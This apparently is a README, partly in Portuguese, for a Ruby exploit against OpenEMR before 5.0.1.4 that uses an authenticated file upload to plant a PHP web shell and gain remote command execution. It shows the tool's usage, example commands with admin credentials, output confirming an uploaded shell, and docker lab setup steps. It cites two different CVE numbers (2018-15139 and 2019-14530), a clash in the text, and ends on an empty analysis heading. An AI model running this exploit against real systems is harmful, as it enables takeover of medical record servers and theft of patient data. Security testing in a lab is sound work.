
OpenEMR < 5.0.1.4 - (Autenticado) Upload de arquivo - Execução remota de comandos
OpenEMR < 5.0.1.4 - Envio de arquivo (autenticado) - Execução remota de comandos
Exploit para CVE-2018-15139.
$ ruby exploit.rb -h
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
Source: https://github.com/sec-it/exploit-CVE-2019-14530
Usage:
exploit.rb exploit <url> <filename> <username> <password> [--debug]
exploit.rb -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the shell to be uploaded
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb exploit http://example.org/openemr shell.php admin pass
exploit.rb exploit https://example.org:5000/ shell.php admin pass
$ ruby exploit.rb exploit http://172.24.0.3 agent.php admin pass
[+] File uploaded:
http://172.24.0.3/sites/default/images/agent.php
Exemplo usando gem:
bundle install
# or
gem install httpx docopt
Aviso: obviamente, esta configuração não é adequada para uso em produção!
$ sudo docker-compose up
As permissões da pasta de upload estão quebradas na imagem docker oficial do OpenEMR, portanto é necessário conectar-se ao contêiner e corrigir as permissões, por exemplo:
$ sudo docker exec -ti exploit-cve-2018-15139_openemr_1 /bin/sh
$ chmod u+w /var/www/localhost/htdocs/openemr/sites/default/images/
docker-compose.ymlEsta é uma reescrita melhor de EDB-49998.
A vulnerabilidade foi encontrada por Project Insecurity.
Análise do exploit original e da vulnerabilidade: